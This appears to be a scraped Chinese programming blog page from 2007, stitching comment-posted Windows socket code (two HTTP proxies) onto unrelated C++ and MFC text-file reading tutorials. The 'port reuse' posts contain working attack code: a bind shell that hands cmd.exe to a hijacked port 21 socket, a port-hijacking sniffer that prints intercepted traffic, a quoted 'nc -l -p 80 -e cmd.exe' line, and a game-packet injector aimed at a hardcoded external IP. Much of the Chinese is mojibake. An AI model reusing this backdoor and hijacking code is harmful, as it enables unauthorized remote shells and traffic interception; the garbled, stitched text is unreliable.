{closesocket(SPair.user_proxy);
SPair.IsUser_ProxyClosed=TRUE;
}
break;
}
Len=retval;
#ifdef _DEBUG
Buffer[Len]=0;
printf("\n Received %d bytes,data[%s]from client\n",retval,Buffer);
#endif
} //End While
if(SPair.IsProxy_ServerClosed==FALSE)
{
closesocket(SPair.proxy_server);
SPair.IsProxy_ServerClosed=TRUE;
}
if(SPair.IsUser_ProxyClosed==FALSE)
{closesocket(SPair.user_proxy);
SPair.IsUser_ProxyClosed=TRUE;
}
::WaitForSingleObject(pChildThread- >m_hThread,20000); //Should check the return value
return 0;
}
// 读取远程主机数据,并发往本地客户机
UINT ProxyToServer(LPVOID pParam){
ProxyParam * pPar=(ProxyParam*)pParam;
char Buffer[BUFSIZE];
char *server_name= "localhost";
unsigned short port ;
int retval,Len;
unsigned int addr;
int socket_type ;
struct sockaddr_in server;
struct hostent *hp;
SOCKET conn_socket;
socket_type = SOCK_STREAM;
server_name = pPar- >Address;
port = pPar- >Port;
if (isalpha(server_name[0])) { /* server address is a name */
hp = gethostbyname(server_name);
}
else { /* Convert nnn.nnn address to a usable one */
addr = inet_addr(server_name);
hp = gethostbyaddr((char *)&addr,4,AF_INET);
}
if (hp == NULL ) {
fprintf(stderr,"Client: Cannot resolve address [%s]: Error %d\n",
server_name,WSAGetLastError());
::SetEvent(pPar- >User_SvrOK);
return 0;
}
//
// Copy the resolved information into the sockaddr_in structure
//
memset(&server,0,sizeof(server));
memcpy(&(server.sin_addr),hp- >h_addr,hp- >h_length);
server.sin_family = hp- >h_addrtype;
server.sin_port = htons(port);
conn_socket = socket(AF_INET,socket_type,0); /* 打开一个 socket */
if (conn_socket < 0 ) {
fprintf(stderr,"Client: Error Opening socket: Error %d\n",
WSAGetLastError());
pPar- >pPair- >IsProxy_ServerClosed=TRUE;
::SetEvent(pPar- >User_SvrOK);
return -1;
}
#ifdef _DEBUG
printf("Client connecting to: %s\n",hp- >h_name);
#endif
if (connect(conn_socket,(struct sockaddr*)&server,sizeof(server))
== SOCKET_ERROR) {
fprintf(stderr,"connect() failed: %d\n",WSAGetLastError());
pPar- >pPair- >IsProxy_ServerClosed=TRUE;
::SetEvent(pPar- >User_SvrOK);
return -1;
}
pPar- >pPair- >proxy_server=conn_socket;
pPar- >pPair- >IsProxy_ServerClosed=FALSE;
::SetEvent(pPar- >User_SvrOK);
// cook up a string to send
while(!pPar- >pPair- >IsProxy_ServerClosed &&!pPar- >pPair- >IsUser_ProxyClosed)
{
retval = recv(conn_socket,Buffer,sizeof (Buffer),0 );
if (retval == SOCKET_ERROR ) {
fprintf(stderr,"recv() failed: error %d\n",WSAGetLastError());
closesocket(conn_socket);
pPar- >pPair- >IsProxy_ServerClosed=TRUE;
break;
}
Len=retval;
if (retval == 0) {
printf("Server closed connection\n");
closesocket(conn_socket);
pPar- >pPair- >IsProxy_ServerClosed=TRUE;
break;
}
retval = send(pPar- >pPair- >user_proxy,Buffer,Len,0);
if (retval == SOCKET_ERROR) {
fprintf(stderr,"send() failed: error %d\n",WSAGetLastError());
closesocket(pPar- >pPair- >user_proxy);
pPar- >pPair- >IsUser_ProxyClosed=TRUE;
break;
}
#ifdef _DEBUG
Buffer[Len]=0;
printf("Received %d bytes, data [%s] from server\n",retval,Buffer);
#endif
}
if(pPar- >pPair- >IsProxy_ServerClosed==FALSE)
{
closesocket(pPar- >pPair- >proxy_server);
pPar- >pPair- >IsProxy_ServerClosed=TRUE;
}
if(pPar- >pPair- >IsUser_ProxyClosed==FALSE)
{closesocket(pPar- >pPair- >user_proxy);
pPar- >pPair- >IsUser_ProxyClosed=TRUE;
}
return 1;
}
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
// 初始化SOCKET
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// 错误处理
cerr < < _T("Fatal Error: MFC initialization failed") < < endl;
nRetCode = 1;
}
else
{
// 主程序开始.
StartServer();
while(1)
if(getchar()=='q') break;
CloseServer();
}
return nRetCode;
}
re: 用VC++实现http代理 聂文龙 2007-08-08 21:54
http代理源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <process.h>
#include <windows.h>
#include <assert.h>
#define MAXBUFLEN 20480
#define HTTPADDLEN 50
#define TIMEWAIT 2000
SOCKET Global[1000000];
void DisplayBanner();
void Proxy( void * pSocket);
int ParseHttpRequest(char * SourceBuf,int DataLen,void * ServerAddr);
void ParseError(char * ErrorMsg);
int main(int argc,char * argv[])
{
SOCKET MainSocket,ClientSocket;
struct sockaddr_in Host,Client;
WSADATA WsaData;
int AddLen,i;
//初始化
DisplayBanner();
if(WSAStartup(MAKEWORD(2,2),&WsaData) < 0)
{
printf("dll load error\n");
exit(-1);
}
//创建socket端口
MainSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(MainSocket == SOCKET_ERROR)
{
ParseError("端口创建错误");
}
Host.sin_family = AF_INET;
Host.sin_port = htons(8080);
Host.sin_addr.s_addr = inet_addr("159.226.39.116");
printf("正在工作\n");
//邦定
if(bind(MainSocket,(SOCKADDR *)&Host,sizeof(Host)) != 0)
{
ParseError("邦定错误");
}
i = 0;
//监听
if(listen(MainSocket,5) == SOCKET_ERROR)
{
ParseError("监听错误");
}
AddLen = sizeof(Client);
//连接新的客户
i = 0;
while(1)
{
ClientSocket = accept(MainSocket,(SOCKADDR *)&Client,&AddLen);
if(ClientSocket == SOCKET_ERROR)
{
ParseError("接受客户请求错误");
}
printf(".");
i ++ ;
if( i >= 1000000)
i = 0;
Global[i] = ClientSocket;
//对于每一个客户启动不同的进程进行控制
//这个地方在使用ClientSocket的时候,要不要保证在某一时刻内只能有一个进程使用?
_beginthread(Proxy,0,(void *)&Global[i]);
}
}
void Proxy( void * pSocket)
{
SOCKET ClientSocket;
char ReceiveBuf[MAXBUFLEN];
int DataLen;
struct sockaddr_in ServerAddr;
SOCKET ProxySocket;
int i = 0;
int time = TIMEWAIT;
//得到参数中的端口号信息
ClientSocket = (SOCKET)* (SOCKET*)pSocket;
//接受第一次请求信息
memset(ReceiveBuf,0,MAXBUFLEN);
DataLen = recv(ClientSocket,ReceiveBuf,MAXBUFLEN,0);
if(DataLen == SOCKET_ERROR)
{
ParseError("错误\n");
closesocket(ClientSocket);
_endthread();
}
if(DataLen == 0)
{
closesocket(ClientSocket);
_endthread();
}
//处理请求信息,分离出服务器地址
if( ParseHttpRequest(ReceiveBuf,DataLen,(void *)&ServerAddr) < 0)
{
closesocket(ClientSocket);
goto error;
}
//创建新的socket用来和服务器进行连接
ProxySocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//设置超时时间
setsockopt(ProxySocket,SOL_SOCKET,SO_RCVTIMEO,(char *)&time,sizeof(time));
if(ProxySocket == SOCKET_ERROR)
{
ParseError("端口创建错误");
_endthread();
}
if(connect(ProxySocket,(SOCKADDR *)&ServerAddr,sizeof(ServerAddr)) == SOCKET_ERROR)
{
//ParseError("连接服务器错误");
goto error;
}
//开始进行数据传输处理
//发送到服务器端
if(send(ProxySocket,ReceiveBuf,DataLen,0) == SOCKET_ERROR)
{
//ParseError("数据发送错误");
goto error;
}
//从服务器端接受数据
while(DataLen > 0)
{
memset(ReceiveBuf,0,MAXBUFLEN);
if((DataLen = recv(ProxySocket,ReceiveBuf,MAXBUFLEN,0)) <= 0)
{
// ParseError("数据接受错误");
break;
}
else
//发送到客户端
if(send(ClientSocket,ReceiveBuf,DataLen,0) < 0)
{
// ParseError("数据发送错误");
break;
}
}
error:
closesocket(ClientSocket);
closesocket(ProxySocket);
_endthread();
return;
}
int ParseHttpRequest(char * SourceBuf,int DataLen,void * ServerAddr)
{
char * HttpHead = "http://";
char * FirstLocation = NULL;
char * LastLocation = NULL;
char * PortLocation = NULL;
char ServerName[HTTPADDLEN];
char PortString[10];
int NameLen;
struct hostent * pHost;
struct sockaddr_in * pServer = (struct sockaddr_in *)ServerAddr;
//取得http://的位置
FirstLocation = strstr(SourceBuf,HttpHead) + strlen(HttpHead);
//取得/的位置
LastLocation = strstr(FirstLocation,"/");
//得到
http://和/之间的服务器的名称
memset(ServerName,0,HTTPADDLEN);
memcpy(ServerName,FirstLocation,LastLocation - FirstLocation);
//有些情况下,请求的地址中带有端口号格式为“:+ 端口号”;
//取得 :的位置
PortLocation = strstr(ServerName,":");
//填充server结构
pServer->sin_family = AF_INET;
//在url中制定了服务器端口
if(PortLocation != NULL)
{
NameLen = PortLocation - ServerName -1;
memset(PortString,0,10);
memcpy(PortString,PortLocation + 1,NameLen);
pServer->sin_port = htons((u_short)atoi(PortString));
*PortLocation = 0;
}
else//在url中,没有制定服务器端口
{
pServer->sin_port = htons(80);
}
if(NameLen > HTTPADDLEN)
{
ParseError("服务器名字太长");
return -1;
}
//得到服务器信息
//如果地址信息是以IP地址(202.194.7.1)的形式出现的
if(ServerName[0] >= '0' && ServerName[0] <= '9')
{
pServer->sin_addr.s_addr = inet_addr(ServerName);
}
//以域名的形式出现的(www.sina.com.cn)
else
{
pHost = (struct hostent *)gethostbyname(ServerName);
if(!pHost)
{
printf("取得主机信息错误\n");
printf("%s\n",ServerName);
return -1;
}
memcpy(&pServer->sin_addr,pHost->h_addr_list[0],sizeof(pServer->sin_addr));
}
return 0;
}
void ParseError(char * ErrorMsg)
{
// printf("%s %d\n",ErrorMsg,GetLastError());
// WSACleanup();
// exit(-1);
}
void DisplayBanner()
{
printf("=================================================\n");
printf("==== ====\n");
printf("==== HTTP PROXY v2.0 ====\n");
printf("==== ====\n");
printf("=================================================\n");
}
re: 经典的东 聂文龙 2007-07-22 03:22
// port.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
/*
2a¨º?¨¨?¡êoCrackMe
2a¨º?¨®?¨¤y¡êo
cmd1: nc -l -p 80 -e cmd.exe
cmd2: ¡À?3¨¬D¨°
cmd3: nc *.*.*.* 80
2¨´¡Á¡Â¡êo
cmd3?D¨º?¨¨???¨¢?2¡é¦Ì?¦Ì?????¡ê?cmd2?D¨º?3???¨¢??T?????¡ê
¨ª¡§D?1y3¨¬¨º?¨°a¨ª?¡êo
cmd3??>cmd2??>cmd1
?¨¹ ?y?¨¹ ?y
????--??????????????
*/
#include
#include
#include
#include
int HexToBuf(char * in,char * out)
{
int i,it,len=0;
char t[3];
len = strlen(in)/2;
for(i=0;i {
memset(t,0,3);
t[0] = in[i*2];
t[1] = in[i*2+1];
sscanf(t,"%x",&it);
out[i] = (char)it;
}
return len;
}
int main()
{
WSADATA ws;
SOCKET listenFD;
int ret;
WSAStartup(MAKEWORD(2,2),&ws);
listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
BOOL val = TRUE;
setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) );
struct sockaddr_in server;
struct sockaddr_in srv_addr;//ÕâÊÇ·þÎñÆ÷µØÖ·
server.sin_family = AF_INET;
server.sin_port = htons(6662);
server.sin_addr.s_addr = inet_addr("127.0.0.1");
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
/*ret=listen(listenFD,2);
//??????21??,????
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//??????????Socket
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
char cmdLine[] = "cmd";
PROCESS_INFORMATION ProcessInformation;
//????
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
*/
srv_addr.sin_family = AF_INET; //210.174.197.237:9998
srv_addr.sin_addr.s_addr = inet_addr("210.174.197.237");
srv_addr.sin_port=htons(9998);
if(connect(listenFD,(LPSOCKADDR)&srv_addr,sizeof(srv_addr))==SOCKET_ERROR)
{
printf("ÎÞ·¨Á¬½Ó·þÎñÆ÷\\n");
closesocket(listenFD);
Sleep(10000);
}
else
{
printf("OH.yeah!\\n");
}
//setsockopt(g_skt_login,IPPROTO_TCP,TCP_NODELAY,(const char *)&bNoDelay,sizeof(bNoDelay));
//·¢Ë͵ÚÒ»´ÎµÇ½ÇëÇó
char sendbuf[100],sendhex[100];
int sendlen,i;
for (i = 0 ;i <100 ;i++)
{
memset(sendbuf,0,100);
memset(sendhex,0,100);
strcpy(sendhex,"8A0009000000E72E0000201F000061");
sendlen = HexToBuf(sendhex,sendbuf);
send(listenFD,sendbuf,sendlen,0);
printf("·¢ËͼÓѪ°ü-%d\\n",i);
Sleep(5000);
memset(sendbuf,0,100);
memset(sendhex,0,100);
strcpy(sendhex,"BF000400000000000000");
sendlen = HexToBuf(sendhex,sendbuf);
send(listenFD,sendbuf,sendlen,0);
printf("·¢ËÍÐÞ×°±¸°ü-%d\\n",i);
Sleep(5000);
}
return 0;
}
re: 端口复用技术与实现代码 聂文龙 2007-07-22 02:40
int main()
{
WSADATA ws;
SOCKET listenFD;
int ret;
//初始化wsa
WSAStartup(MAKEWORD(2,2),&ws);
//注意要用WSASocket
listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//设置套接字选项,SO_REUSEADDR选项就是可以实现端口重绑定的
//但如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功
BOOL val = TRUE;
setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) );
//监听本机21端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(21);
server.sin_addr.s_addr = inet_addr("127.0.0.1");
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
//如果客户请求21端口,接受连接
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//设置为输入输出句柄为Socket
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
char cmdLine[] = "cmd";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}
re: 端口复用技术与实现代码 聂文龙 2007-07-22 01:56
// port.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
/*
2a¨º?¨¨?¡êoCrackMe
2a¨º?¨®?¨¤y¡êo
cmd1: nc -l -p 80 -e cmd.exe
cmd2: ¡À?3¨¬D¨°
cmd3: nc *.*.*.* 80
2¨´¡Á¡Â¡êo
cmd3?D¨º?¨¨???¨¢?2¡é¦Ì?¦Ì?????¡ê?cmd2?D¨º?3???¨¢??T?????¡ê
¨ª¡§D?1y3¨¬¨º?¨°a¨ª?¡êo
cmd3??>cmd2??>cmd1
?¨¹ ?y?¨¹ ?y
????--??????????????
*/
#include
#include
#include
#include
DWORD WINAPI ClientThread(LPVOID lpParam);
int main()
{
WORD wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD tid;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
{
printf("error!WSAStartup failed!\\n");
return -1;
}
saddr.sin_family = AF_INET;
//??¨¬y??¨¨?¨°2?¨¦¨°???¦Ì??¡¤???¡§?aINADDR_ANY¡ê?¦Ì?¨º?¨°a2??¨¹¨®¡ã?¨¬?y3¡ê¨®|¨®??¨¦????¡ê?¨®|?????¡§??¨¬?¦Ì?IP¡ê?¨¢???127.0.0.1???y3¡ê¦Ì?¡¤t??¨®|¨®?¡ê?¨¨?o¨®¨¤?¨®??a??¦Ì??¡¤??DD¡Áa¡¤¡é¡ê??¨ª?¨¦¨°?2?¨®¡ã?¨¬??¡¤??y3¡ê¨®|¨®?¨¢?
saddr.sin_addr.s_addr = inet_addr("192.168.1.102");
saddr.sin_port = htons(2040);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR )
{
printf("error!socket failed!\\n");
return -1;
}
val = TRUE;
//SO_REUSEADDR?????¨ª¨º??¨¦¨°?¨º¦Ì?????¨²??¡ã¨®?¡§¦Ì?
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{
printf("error!setsockopt failed!\\n");
return -1;
}
//¨¨?1????¡§¨¢?SO_EXCLUSIVEADDRUSE¡ê??¨ª2??¨¢¡ã¨®?¡§3¨¦1|¡ê?¡¤¦Ì???T¨¨¡§?T¦Ì?¡ä¨ª?¨®¡ä¨²??¡ê?
//¨¨?1?¨º???¨ª¡§1y??¨¤?¨®????¨²¡ä?¦Ì?¨°t2?¦Ì???¦Ì?¡ê??¨ª?¨¦¨°??¡¥¨¬?¦Ì?2a¨º?¦Ì¡À?¡ã¨°?¡ã¨®?¡§¦Ì????¨²?????¨¦¨°?3¨¦1|¡ê??¨ª?¦Ì?¡Â??¡À??a?????¡ä¡ê?¨¨?o¨®?¡¥¨¬?¨¤?¨®????¨²¨º1¦Ì??¨¹¨°t¡À?
//??¨º¦ÌUDP???¨²¨°??¨´?¨¦¨°??a?¨´??¡ã¨®?¡§¨¤?¨®?¡ê??a?¨´?¡Â¨°a¨º?¨°?TELNET¡¤t???a¨¤y¡Á¨®??DD1£¤?¡Â
//210.174.197.237:9998
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("error!ÎÞ·¨°ó¶¨Socket!-1\\n");
return -1;
}
listen(s,2);
while(1)
{
caddsize = sizeof(scaddr);
//?¨®¨º¨¹¨¢??¨®???¨®
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
if(sc!=INVALID_SOCKET)
{
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
if(mt==NULL)
{
printf("Thread Creat Failed!\\n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return 0;
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
unsigned char buf[4096];
SOCKADDR_IN saddr;
long num;
DWORD val;
DWORD ret;
//¡§¡§?1?¡§o?¡§¡ãt2????¡§2¡§?|¡§??|¨¬?????¨º??¡§|¡§¡ã??¡§2?????|?¡§?¡§¡ã?D??D??
//¡§¡§?1?¡§o??¨¢??o|¨¬???¡§1?¨º??¡§a?¡§|¡§¡ã???DD¡§¡ã?D?¡§??¡§oa??|¡§¡è¡§a?¨º?2?¡§o?|¨¬????¡§a?¡ì1y127.0.0.1??DD?¨¢a?¡è?¨¦
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(2040);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\\n");
return -1;
}
val = 100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect failed!-2\\n");
closesocket(sc);
closesocket(ss);
return -1;
}
while(1)
{
//????|¨¬???¡§2?????¡§¡ãa¡§o?¡§o|¨¬??¡§a?¡ì1y127??¨º0??¨º0??¨º1?a??|¨¬???¡è?????¡§1?¨¢a?¡è?¨¦|¨¬????y|¨¬?¡§?|¡§??¡§|??¨º?2?¨¦???¡§?|??e|¨¬???¡§1?¡§¡ä?¨¢a?¡è?¨¦??¡§¡§¡ê¡è??¨º
//¡§¡§?1?¡§o?D¡§¡é¡§???¡§2¡§¡§Y|¨¬?????¨º??¡§|¡§¡ã??¡§¡ä?????|??DD?¡§2¡§¡§Y?¡è???o¡§a????
//¡§¡§?1?¡§o?1¡ê¡è???¡§¡§?TELNET?¡èt??????¨º?¡§¡è?¡§??????¡§¡§?¡ì?T|¨¬???¡§????¨¬|¨¬?????¨º??¡§|¡§¡ã??¡è?????|¨¬???¡§????¨¬?¨º?¡§¡§?o¡§?¡§¡è?¡§???¡è?¨¦?¡§a¡§????¡ì|¨¬???¡§1¡§¡ã??¡§¡ä3?|¨¬?¡§????¨¬¡§|¡§a?¡èY???DD??¨º
num = recv(ss,(char*)buf,4096,0);
if(num>0)
buf[num]=0,send(sc,(char*)buf,num,0),printf("Sniffer:%s",buf);//¡§o?¡§¡ãa?¡§¡ã??????¡§¡é?¡§o?¡§¡§?D???¨¦
else if(num==0)
break;
num = recv(sc,(char*)buf,4096,0);
if(num>0)
send(ss,(char*)buf,num,0);
else if(num==0)
break;
}
closesocket(ss);
closesocket(sc);
return 0 ;
}
re: vc模拟鼠标键盘操作实用类 聂文龙 2007-07-19 21:39
方法1:
HWND hwnd=::FindWindow(0,"ddd"); //假设你要找的窗口标题为“ddd”
CWnd::FromHandle(hwnd)->SetForegroundWindow();
::PostMessage(hwnd,WM_KEYDOWN, VK_ESCAPE, 0L); //发送ESC按下的键盘消息
方法2:这里以向记事本程序发送Ctrl+s按键消息为例:
CWnd *pWnd = FindWindow("Notepad", NULL);
if (pWnd->GetSafeHwnd())
{
pWnd->ShowWindow(SW_NORMAL);
pWnd->SetForegroundWindow();
keybd_event(VK_CONTROL, 0, 0, 0);
keybd_event('S', 0, 0, 0);
keybd_event(VK_CONTROL, 0, KEYEVENTF_KEYUP, 0);
keybd_event('S', 0, KEYEVENTF_KEYUP, 0);
}
要对游戏有效必须填写keybd_event的第二个参数---硬件扫描码
re: vc模拟鼠标键盘操作实用类 聂文龙 2007-07-19 21:37
keybd_event(0x61,MapVirtualKey(0x61,0),0,0); //按下a键
keybd_event(0x62,MapVirtualKey(0x62,0),0,0); //按下b键
keybd_event(0x61,MapVirtualKey(0x61,0),KEYEVENTF_KEYUP,0); //释放a键
keybd_event(0x62,MapVirtualKey(0x62,0),KEYEVENTF_KEYUP,0); //释放b键
讀取文字檔有很多方式,在此歸納出最精簡的程式寫法。
若要一行一行的讀取文字檔,可使用以下寫法。
#include
#include
#include
using namespace std;
int main() {
ifstream inFile("books.txt");
string line;
while(getline(inFile,line)) {
cout << line << endl;
}
inFile.close();
return 0;
}
執行結果
this is a book
a book a book
book
請按任意鍵繼續 . . .
若在一行一行讀取文字檔的同時,還想同時讀出每一個字串,可用以下寫法。
#include
#include
#include
#include
using namespace std;
int main() {
ifstream inFile("books.txt");
string line;
while(getline(inFile,line)) {
cout << line << endl;
istringstream ss(line);
string word;
while(ss >> word) {
cout << word << endl;
}
cout << endl;
}
inFile.close();
return 0;
}
執行結果
this is a book
this
is
a
book
a book a book
a
book
a
book
book
book
請按任意鍵繼續 . . .
若只要讀取文字檔中的每個字,使用while()的方式,可直接處理字串。
#include
#include
#include
using namespace std;
int main() {
ifstream inFile("books.txt");
string str;
while(infile >> str)
cout << str << endl;
inFile.close();
return 0;
}
另外一種方式,使用copy() algorithm將文字都讀到vector中,再做後續的加工處理,優點是程式超短,缺點是要多浪費一個vector。
#include
#include
#include
#include
#include
using namespace std;
int main() {
ifstream inFile("books.txt");
vector svec;
copy(istream_iterator(inFile), istream_iterator(), back_inserter(svec));
copy(svec.begin(), svec.end(), ostream_iterator(cout,"\n"));
inFile.close();
return 0;
}
執行結果
this
is
a
book
a
book
a
book
book
請按任意鍵繼續 . . .
(02/20/2007 更新) 有網友問我怎麼將文字檔讀到二維陣列處理,以下是處理的方式
文字檔
00001 Peter Hsiao 555.55
00002 John Lin 222.12
#include
#include
#include
#include
using namespace std;
int main() {
ifstream inFile("source.txt");
const int xsize = 5;
const int ysize = 2;
string (*arr)[xsize] = new string[ysize][xsize];
string line;
int y = 0;
while(getline(inFile,line)) {
istringstream ss(line);
string word;
int x = 0;
while(ss >> word) {
arr[y][x] = word;
++x;
}
++y;
}
inFile.close();
for(int y = 0; y != ysize; ++y) {
for(int x = 0; x != xsize; ++x) {
cout << arr[y][x] << " ";
}
cout << endl;
}
delete []arr;
return 0;
}
執行結果
00001 Peter Hsiao 555.55
00002 John Lin 222.12
#include <iostream>
#include <string>
#include <fstream>
using namespace std;
int main()
{
ifstream in("your_file");
string line;
while (getline(in,line))
{
cout << line << "\n";
}
return 0;
}
char buf[255];
ifstream ifs;
ifs.open("dir");
while(!ifs.eof())
{
ifs.getline(buf,254);
//做响应处理,如
}
return 0;
C++ 中关于文件的读入和输出。
Example : 从in.txt 文件中读入数据,并输出到out.txt中,输出的文件中每行之间有一空行相隔
#include
#include
#include
using namespace std;
int main (int){
string s;
ifstream inf;
inf.open("in.txt");
//打开输出文件
ofstream outf;
outf.open("out.txt");
//从in.txt 文件中读入数据,并输出到out.txt中
/*其中 getline(参1,参2); 作用是从 inf 指向的文件中
每次读入一行,把数据存到字符串s 中,从第一行开始
每读完一行后,系统自动地把指针指向下一行,不用人为
干预*/
while( getline(inf,s ) ){
outf << s << '\n\n'; //我这里并没有用到字符串
cout << s << endl << endl; //数组,而是只用了一个串
} //S,是因为我每次读入一行
//后,立即就把它输出到
//out.txt中,跟着读下一行
inf.close();
outf.close();
return 0;
}
========================================方法二============================================
#include
#include
#include
#include
using namespace std;
int main (int){
ifstream inf;
inf.open("in.txt");
ofstream outf;
outf.open("out.txt");
/*这道题有许多解法的,重要的要了它文件输入输出的原理
你可以一行行地读入,也可以一个字一个字地读入,或一个词
一个词地读入,整型或浮点型读入,看你定义的是哪种数据类型*/
char c;
inf >> noskipws; //不忽略空白,把每行最后那个'\n'
//也读进来。
while(inf >>c)
{
if (c == '\n'){ //遇到 '\n' 回车、换行。
outf << "\n\n"; //输出到文件
cout << "\n\n"; //输出到屏幕
}
else{
outf << c; //输出到文件
cout << c; //输出到屏幕
}
}
/* 同样的原理,从文件中读入单个字符,每次读入一个后,
系统自动地把指针指向下一个字,而不用你指定这次读哪个,
下次读哪个,除非你不想从第一个开始读,比如说:我想从
第100个字开始读,或者我想读最后50个字。这就需要调用
相应的函数,并指定相应的位置。*/
inf.close();
outf.close();
return 0;
}
主 题: 请问VC++中,怎么实现读取.txt文件时的行定位,就是读取指定的行的内容.
请问VC++中,怎么实现读取.txt文件时的行定位,就是读取指定的行的内容.
?
一行一行的读到你想要的那行。
CStdioFile的ReadString()方法是读一行。
[VC] 文件对话框读写文本文件
2005年 01月23日
文件对话框读写文本文件/*************************************************
* 读文本文件
**************************************************/
//显示文件打开对话框
CFileDialog dlg(TRUE, "SQL", "*.txt",OFN_HIDEREADONLY
|OFN_OVERWRITEPROMPT,"Text Files(*.txt)|*.txt|SQL Files(*.sql)|*.sql|All Files(*.*)|*.*||");
if ( dlg.DoModal()!=IDOK ) return;
//获取文件的绝对路径
CString sFileName=dlg.GetPathName();
//打开文件
CStdioFile out;
out.Open(sFileName, CFile::modeRead);
CString sSql="",s;
//读取文件
do{
out.ReadString(s);
sSql=sSql+s+"\r\n";
}while ( out.GetPosition()out.Close();
//AfxMessageBox(sSql);
/*************************************************
* 写文本文件
**************************************************/
//显示文件保存对话框
CFileDialog dlg(FALSE, "SQL", "*.txt",OFN_HIDEREADONLY
| OFN_OVERWRITEPROMPT,"Text Files(*.txt)|*.txt|SQL Files(*.sql)|*.sql|All Files(*.*)|*.*||");
if ( dlg.DoModal()!=IDOK ) return;
//获取文件的绝对路径
CString sFileName=dlg.GetPathName();
CStdioFile out;
//打开文件
out.Open(sFileName, CFile::modeCreate | CFile::modeWrite);
//保存文件
CString sSql="文本文件内容";
out.WriteString(sSql);
out.Close();
我要读一个文件,但是我想让一行一行的读,而且每行有不一定长度的,应该怎么做呢?
(cqwally发表于2001-8-9 23:37:43)
1)
程序如下:
{
.....................
CStdioFile file;
CString str;
file.Open("test.txt",CFile::modeRead,NULL);
file.ReadString(str);
MessageBox(str);//第一行
file.ReadString(str);
MessageBox(str);//第二行
.....................
}
看看两次显示的有什么不同。test.txt文件如下:
第一行
第二行
2)
我用CFile::Write,怎样才可以写入回车,空格?而且我要写两栏要对齐?
回车换行:"\r\n"
如何正确的使用CFile::Open中的参数?
(taxiblackangel发表于2001-8-14 10:58:16)
[问题提出]
我设计了一个从记事本中读数据的程序。将数据显示在视中。
代码如下:
void CTry1View::OnShow()
{
// TODO: Add your command handler code here
CStdioFile file;
CString filename;
CFileDialog opendlg(true,NULL,NULL,OFN_HIDEREADONLY|OFN_OVERWRITEPROMPT,".(*.txt)|*.txt|All Files(*.*)|*.*||",NULL);
if(opendlg.DoModal()==IDOK)
filename=opendlg.GetPathName();
if(file.Open(filename,CFile::modeCreate|CFile::modeReadWrite|CFile::typeText)==0)
{
AfxMessageBox("error");
return;
}
while(file.ReadString(string))
{
strList.AddTail(string);
string.ReleaseBuffer();
}
flag=true;
Invalidate();
}
结果不但在视中没有任何显示,而且记事本中的数据也全部丢失。变成了一片空白。真是搞不懂了。
记事本中的数据是我随便写的。如下:
11
222
3333
44444
.......
[解决方法]
在file.Open(filename,CFile::modeCreate|CFile::modeReadWrite|CFile::typeText)中,CFile::modeCreate去掉,modeCreate的意思是没有此文件就建立,有了此文件,清空文件.
最新评论 [发表评论] 查看所有评论 推荐给好友 打印
最好是这样file.Open(filename,CFile::modeCreate|CFile::modeNoTruncate|CFile::modeReadWrite|CFile::typeText),因为CFile::modeNoTruncate意思是文件即使存在也不清空。 ( lichihang 发表于 2003-12-29 8:33:00)
如何使用CStdioFile::ReadString来读文件?
